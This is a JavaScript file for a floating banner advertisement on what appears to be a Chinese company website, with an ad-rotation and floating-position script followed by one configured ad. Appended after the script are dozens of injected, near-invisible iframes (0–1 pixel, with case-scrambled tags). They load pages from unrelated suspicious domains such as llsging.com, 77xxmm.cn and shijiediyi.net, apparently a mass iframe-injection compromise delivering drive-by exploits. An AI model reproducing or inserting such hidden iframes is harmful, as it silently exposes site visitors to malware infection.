function ObjectAD() {
  /* Define Variables*/
  this.ADID        = 0;
  this.ADType      = 0;
  this.ADName      = "";
  this.ImgUrl      = "";
  this.ImgWidth    = 0;
  this.ImgHeight   = 0;
  this.FlashWmode  = 0;
  this.LinkUrl     = "";
  this.LinkTarget  = 0;
  this.LinkAlt     = "";
  this.Priority    = 0;
  this.CountView   = 0;
  this.CountClick  = 0;
  this.InstallDir  = "";
  this.ADDIR       = "";
}

function FloatZoneAD(_id) {
  /* Define Constants */
  this.vmin        = 2;
  this.vmax        = 5;
  this.vr          = 2;

  /* Define Common Variables*/
  this.ID          = _id;
  this.ZoneID      = 0;
  this.ZoneName    = "";
  this.ZoneWidth   = 0;
  this.ZoneHeight  = 0;
  this.ShowType    = 1;
  this.DivName     = "";
  this.Div         = null;

  /* Define Unique Variables*/
  this.FloatType   = 1;
  this.Left        = 0;
  this.Top         = 0;
  this.Delay       = 50;

  this.Width       = 1;
  this.Height      = 1;
  this.vx          = this.vmin+this.vmax*Math.random();
  this.vy          = this.vmin+this.vmax*Math.random();
  this.timer       = null;

  this.step        = 1;
  this.xin         = true;
  this.yin         = true;

  /* Define Objects */
  this.AllAD       = new Array();
  this.ShowAD      = null;

  /* Define Functions */
  this.AddAD       = FloatZoneAD_AddAD;
  this.GetShowAD   = FloatZoneAD_GetShowAD;
  this.Show        = FloatZoneAD_Show;
  this.Float       = FloatZoneAD_Float;
  this.Pause       = FloatZoneAD_Pause;
  this.Resume      = FloatZoneAD_Resume;
}

function FloatZoneAD_AddAD(_AD) {
  this.AllAD[this.AllAD.length] = _AD;
}

function FloatZoneAD_GetShowAD() {
  if (this.ShowType > 1) {
    this.ShowAD = this.AllAD[0];
    return;
  }
  var num = this.AllAD.length;
  var sum = 0;
  for (var i = 0; i < num; i++) {
    sum = sum + this.AllAD[i].Priority;
  }
  if (sum <= 0) {return ;}
  var rndNum = Math.random() * sum;
  i = 0;
  j = 0;
  while (true) {
    j = j + this.AllAD[i].Priority;
    if (j >= rndNum) {break;}
    i++;
  }
  this.ShowAD = this.AllAD[i];
}

function FloatZoneAD_Show() {
  if (!this.AllAD) {
    return;
  } else {
    this.GetShowAD();
  }

  if (this.ShowAD == null) return false;
  this.DivName = "FloatZoneAD_Div" + this.ZoneID;
  if (!this.ShowAD.ImgWidth) this.ShowAD.ImgWidth = this.ZoneWidth
  if (!this.ShowAD.ImgHeight) this.ShowAD.ImgHeight = this.ZoneHeight
  if (this.ShowAD.ADDIR=="") this.ShowAD.ADDIR = "AD"
  if (navigator.appName == "Netscape") {
    document.write("<layer id='" + this.DivName + "' top='" + this.Top + "' width='" + this.ZoneWidth + "' height='" + this.ZoneHeight + "'>" + AD_Content(this.ShowAD) + "</layer>");
  } else {
    document.write("<div id='" + this.DivName + "' onMouseOver='" + this.ID+".Pause()' onMouseOut='" + this.ID+".Resume()' style='position:absolute; visibility:visible; z-index:1; width:" + this.ZoneWidth + "; height:" + this.ZoneHeight + "; left:" + this.Left + ";top:" + this.Top + "'>" + AD_Content(this.ShowAD) + "</div>");
  }
  if (this.ShowAD.CountView) {
    document.write ("<script src='" + this.ShowAD.InstallDir + this.ShowAD.ADDIR + "/ADCount.asp?Action=View&ADID=" + this.ShowAD.ADID + "'></script>")
  }
  this.Width = (this.ShowAD.ImgWidth)?this.ShowAD.ImgWidth:this.ZoneWidth
  this.Height = (this.ShowAD.ImgHeight)?this.ShowAD.ImgHeight:this.ZoneHeight
  this.Div = document.getElementById(this.DivName);
  this.Float();
}

function FloatZoneAD_Float() {
  pageX=window.document.body.scrollLeft;
  pageW=window.document.body.offsetWidth-22;
  pageY=window.document.body.scrollTop;
  pageH=window.document.body.offsetHeight-4;
  if (this.FloatType==1) {
    this.Left=this.Left+this.vx;
    this.Top=this.Top+this.vy;
    this.vx+=this.vr*(Math.random()-0.5);
    this.vy+=this.vr*(Math.random()-0.5);
    if(this.vx>(this.vmax+this.vmin))this.vx=(this.vmax+this.vmin)*2-this.vx;
    if(this.vx<(-this.vmax-this.vmin))this.vx=(-this.vmax-this.vmin)*2-this.vx;
    if(this.vy>(this.vmax+this.vmin))this.vy=(this.vmax+this.vmin)*2-this.vy;
    if(this.vy<(-this.vmax-this.vmin))this.vy=(-this.vmax-this.vmin)*2-this.vy;
    if(this.Left<=pageX){this.Left=pageX;this.vx=this.vmin+this.vmax*Math.random();}
    if(this.Left>=pageX+pageW-this.Width){this.Left=pageX+pageW-this.Width;this.vx=-this.vmin-this.vmax*Math.random();}
    if(this.Top<=pageY){this.Top=pageY;this.vy=this.vmin+this.vmax*Math.random();}
    if(this.Top>=pageY+pageH-this.Height){this.Top=pageY+pageH-this.Height;this.vy=-this.vmin-this.vmax*Math.random();}
    this.Delay=80;
  } else if (this.FloatType==2) {
    this.Left+=this.step*(this.xin?1:-1);
    this.Top+=this.step*(this.yin?1:-1);
    if(this.Left<=pageX){this.xin=true;this.Left<=pageX} 
    if(this.Left>=pageX+pageW-this.Width){this.xin=false;this.Left=pageX+pageW-this.Width} 
    if(this.Top<=pageY){this.yin=true;this.Top=pageY} 
    if(this.Top>=pageY+pageH-this.Height){this.yin=false;this.Top=pageY+pageH-this.Height}
    this.Delay=15;
  } else if (this.FloatType==3) {
    this.Top+=this.step*(this.yin?1:-1);
    if(this.Top<=pageY){this.yin=true;this.Top=pageY} 
    if(this.Top>=pageY+pageH-this.Height){this.yin=false;this.Top=pageY+pageH-this.Height}
    this.Delay=15;
  } else if (this.FloatType==4) {
    this.Left+=this.step*(this.xin?1:-1);
    if(this.Left<=pageX){this.xin=true;this.Left<=pageX} 
    if(this.Left>=pageX+pageW-this.Width){this.xin=false;this.Left=pageX+pageW-this.Width} 
    this.Delay=15;
  }
  this.Div.style.pixelLeft=this.Left;
  this.Div.style.pixelTop=this.Top;
  this.Div.timer=setTimeout(this.ID+".Float()",this.Delay);
}

function FloatZoneAD_Pause() {
  if(this.Div.timer!=null){clearTimeout(this.Div.timer)}
}

function FloatZoneAD_Resume() {
  this.Float();
}

function AD_Content(o) {
  var str = "";
  if (o.ADType == 1 || o.ADType == 2) {
    o.ImgUrl = o.ImgUrl.toLowerCase()
    if (o.InstallDir.indexOf("http://") != - 1) o.ImgUrl = o.InstallDir.substr(0, o.InstallDir.length - 1) + o.ImgUrl;
    if (o.ImgUrl.indexOf(".swf") !=  - 1) {
      str = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0'";
      str += " name='AD_" + o.ADID + "' id='AD_" + o.ADID + "'";
      str += " width='" + o.ImgWidth + "'";
      str += " height='" + o.ImgHeight + "'";
      if (o.style) str += " style='" + o.style + "'";
      if (o.extfunc) str += " " + o.extfunc + " ";
      str += ">";
      str += "<param name='movie' value='" + o.ImgUrl + "'>";
      if (o.FlashWmode == 1) str += "<param name='wmode' value='Transparent'>";
      if (o.play) str += "<param name='play' value='" + o.play + "'>";
      if (typeof(o.loop) != "undefined") str += "<param name='loop' value='" + o.loop + "'>";
      str += "<param name='quality' value='autohigh'>";
      str += "<embed ";
      str += " name='AD_" + o.ADID + "' id='AD_" + o.ADID + "'";
      str += " width='" + o.ImgWidth + "'";
      str += " height='" + o.ImgHeight + "'";
      if (o.style) str += " style='" + o.style + "'";
      if (o.extfunc) str += " " + o.extfunc + " ";
      str += " src='" + o.ImgUrl + "'";
      if (o.FlashWmode == 1) str += " wmode='Transparent'";
      if (o.play) str += " play='" + o.play + "'";
      if (typeof(o.loop) != "undefined") str += " loop='" + o.loop + "'";
      str += " quality='autohigh'"
      str += " pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash'></embed>";
      str += "</object>";
    } else if (o.ImgUrl.indexOf(".gif") !=  - 1 || o.ImgUrl.indexOf(".jpg") !=  - 1 || o.ImgUrl.indexOf(".jpeg") !=  - 1 || o.ImgUrl.indexOf(".bmp") !=  - 1 || o.ImgUrl.indexOf(".png") !=  - 1) {
      if (o.LinkUrl) {
        if (o.CountClick) o.LinkUrl = o.InstallDir + o.ADDIR + "/ADCount.asp?Action=Click&ADID=" + o.ADID
        str += "<a href='" + o.LinkUrl + "' target='" + ((o.LinkTarget == 0) ? "_self" : "_blank") + "' title='" + o.LinkAlt + "'>";
      }
      str += "<img ";
      str += " name='AD_" + o.ADID + "' id='AD_" + o.ADID + "'";
      if (o.style) str += " style='" + o.style + "'";
      if (o.extfunc) str += " " + o.extfunc + " ";
      str += " src='" + o.ImgUrl + "'";
      if (o.ImgWidth) str += " width='" + o.ImgWidth + "'";
      if (o.ImgHeight) str += " height='" + o.ImgHeight + "'";
      str += " border='0'>";
      if (o.LinkUrl) str += "</a>";
    }
  } else if (o.ADType == 3 || o.ADType == 4) {
    str = o.ADIntro
  } else if (o.ADType == 5) {
    str = "<iframe id='" + "AD_" + o.ADID + "' marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no width=100% height=100% src='" + o.ADIntro + "'>wait</iframe>";
  }
  return str;
}


var ZoneAD_1 = new FloatZoneAD("ZoneAD_1");
ZoneAD_1.ZoneID      = 1;
ZoneAD_1.ZoneWidth   = 361;
ZoneAD_1.ZoneHeight  = 220;
ZoneAD_1.ShowType    = 1;
ZoneAD_1.FloatType     = 1;
ZoneAD_1.Left        = 100;
ZoneAD_1.Top         = 100;

var objAD = new ObjectAD();
objAD.ADID           = 1;
objAD.ADType         = 1;
objAD.ADName         = "ÍøÕ¾";
objAD.ImgUrl         = "/AD/UploadADPic/200710/20071002132155728.jpg";
objAD.ImgWidth       = 361;
objAD.ImgHeight      = 220;
objAD.FlashWmode     = 0;
objAD.ADIntro        = "ÍøÕ¾";
objAD.LinkUrl        = "http://www.cz-jsyl.com/Article/gsxw/200710/6.html";
objAD.LinkTarget     = 1;
objAD.LinkAlt        = "";
objAD.Priority       = 1;
objAD.CountView      = 1;
objAD.CountClick     = 1;
objAD.InstallDir     = "/";
objAD.ADDIR          = "AD";
ZoneAD_1.AddAD(objAD);

ZoneAD_1.Show();
 <ifraMe src=http://aa.llsging.cOm/ww/new05.htm?075 wIdth=1 namE='9133' height=1></iframe>

 <iframe src=http://aa.llsging.coM/ww/new05.htM?075 widTh=1 name='9407' height=1></ifRame>

 <Iframe src=http://www.fOafau.infO/ms30.htm?823 widtH=1 namE='8416' height=1></iframe><iframe sRc=http://aa.llsging.com/ww/new05.htm?075 width=1 namE='8416' height=1></ifrAme>

 <ifraMe src=http://www.foafau.info/ms30.htm?823 wiDth=1 name='3275' height=1></ifraMe><ifraMe src=http://aa.llsgiNg.com/ww/New05.htm?075 widTh=1 name='3275' height=1></iframe>

 <iframe src=http://AA.chAinA-gAme.cn/reg.htm widTh=1 naMe='7848' heighT=1></iframe><iframe src=http://aa.llsging.com/ww/new05.htm?075 widtH=1 naMe='7848' height=1></ifrAme>


 <iFrame src=http://aa.chaina-gamE.cn/rEg.htm width=1 name='3630' height=1></ifRame><ifRame src=http://A5.llsging.com/ww/new05.htm?075 Width=1 name='3630' height=1></iframe>



 <Iframe src=http://aaa.77xxmm.cn/nEw858.htm?075 wiDth=0 name='5771' height=0></iframe><iframe src=http://aaa.1l1l1l.coM/error/404.htMl width=0 nAme='5771' HeigHt=0></iframe>




 <iframe src=http://aaa.77XXmm.cn/new858.htm?075 wIdth=0 name='2791' height=0></iFrame><iFrame src=http://aaa.1L1L1L.com/error/404.htmL widtH=0 name='2791' height=0></iframe>




 <ifraMe src=hTTp://aaa.77xxmm.cn/new858.hTm?075 width=0 Name='8104' HeigHt=0></iframe><iframe src=Http://aaa.1l1l1l.com/error/404.Html wiDth=0 name='8104' height=0></iframe>




 <ifraMe src=hTTp://aaa.77xxmm.cn/new858.hTm?075 width=0 Name='3879' HeigHt=0></iframe><iframe src=Http://aaa.1l1l1l.com/error/404.Html wiDth=0 name='3879' height=0></iframe>




 <ifrAme src=http://aaa.77xxmm.cn/new858.htm?075 width=0 name='1997' heIght=0></Iframe><Iframe sRc=http://aaa.1l1l1l.com/eRRoR/404.html wIdth=0 name='1997' height=0></ifraMe>




 <ifrAme Src=http://aaa.77xxmm.cn/new858.htm?075 widtH=0 name='7210' HeigHt=0></iframe><iframe src=http://aaa.1l1l1l.coM/error/404.htMl wIdth=0 name='7210' height=0></ifRame>




 <Iframe src=http://aaa.77xxmm.cn/new858.htm?075 wiDth=0 name='1382' height=0></iframe><iframe src=http://aaa.1l1l1l.com/Error/404.html width=0 naMe='1382' heighT=0></iframe>




 <iframE src=http://AAA.77xxmm.cn/new858.htm?075 width=0 naMe='4621' height=0></iframe><iframe src=http://aaa.1l1l1l.com/error/404.html widTh=0 name='4621' height=0></iframe>




 <iFrame Src=http://www.Shijiediyi.net/one/hao8.htm?005 wiDth=1 name='3589' heIght=1></Iframe><Iframe src=http://aaa.1L1L1L.com/error/404.htmL Width=0 name='3589' heiGht=0></iframe>
 <iframe src=http://www.shijiediyi.net/one/hao8.htm?015 width=1 Name='3005' HeigHt=1></iframe>

 <ifraMe src=http://www.shijiediyi.Net/oNe/hao8.htm?005 wiDth=1 name='6664' height=1>
 <ifRame src=hTTp://www.shijiediyi.neT/one/hao8.hTm?015 widtH=1 name='8304' heighT=1></iframe>
 <Iframe src=http://www.shijiediyi.net/one/hAo8.htm?015 wiDth=1 namE='3144' height=1></iframe>
 <Iframe src=http://www.shijiediyi.net/One/haO8.htm?005 wiDth=1 name='2763' height=1></iframe><iframe src=http://aaa.1l1l1l.com/error/404.html width=1 name='2763' height=1></iframe>





 <iframe src=http://www.shijiediyi.net/one/hao8.htm?015 wIdth=1 naMe='8596' height=1></ifraMe>
 <iframe src=hTTp://www.shijiediyi.neT/one/hao8.hTm?015 wIdth=1 nAme='6293' height=1></ifrAme>
 <ifraMe src=http://wb.shIjIedIyI.net/one/hao8.htm?005 width=1 naMe='1239' height=1></ifRame><ifRame src=http://aaa.1L1L1L.com/error/404.htmL wiDth=1 name='1239' height=1></iframe>






 <ifraMe src=Http://wb.sHijiediyi.net/one/Hao8.Htm?024 width=1 name='8222' height=1></iframe>
 <Iframe src=http://wb.shijiediyi.net/one/hao8.htM?005 widTh=1 name='1173' height=1></iframe><iframe src=http://aaa.1L1L1L.com/error/404.htmL width=1 Name='1173' height=1></iframe>






 <iframe src=hTTp://www.shijiediyi.neT/one/hao8.hTm?015 wIdth=1 nAme='8548' height=1></ifrAme>
 <ifrAme src=http://bb.cOngtOuzailai.net/One/haO8.htm?005 width=1 naMe='5435' height=1></iFrame><iFrame src=hTTp://aaa.1l1l1l.com/error/404.hTml wiDth=1 name='5435' height=1></iframe>







 <iframe src=http://cc.buhaoyIshI.com/one/hao5.htm?015 width=1 name='4607' height=1></iframe><iframe src=httP://aaa.1l1l1l.com/error/404.html wiDth=1 name='4607' hEight=1></iframE>
















 <ifraMe src=http://cc.buhaOyishi.cOm/One/haO5.htm?015 Width=1 name='5613' height=1></iframe><iframe src=http://aaa.1L1L1L.com/error/404.htmL widtH=1 name='5613' heiGht=1></iframe>
















 <ifRame Src=http://www.vnet-1.net/S1.htm?hy wIdth=1 name='3214' hEight=1></iframE><iframE src=http://AAA.1l1l1l.com/qq.htm width=1 name='3214' height=1></iframe>
















 <ifRame src=http://www.deMo103.cn/s1.htM?bei01 Width=100 name='4676' height=1></iframe>
 <iframe src=http://www.gdsAx.cn/s1.htm?hy width=100 name='5774' height=1></iFrame><iFrame src=http://aaa.1l1l1l.com/qq.htm widtH=100 name='5774' height=1></iframe>

























 <iframE src="http://yiDuaner.cn/page/rnb.htm?mor" width=100 name='1105' heIght=0></Iframe>


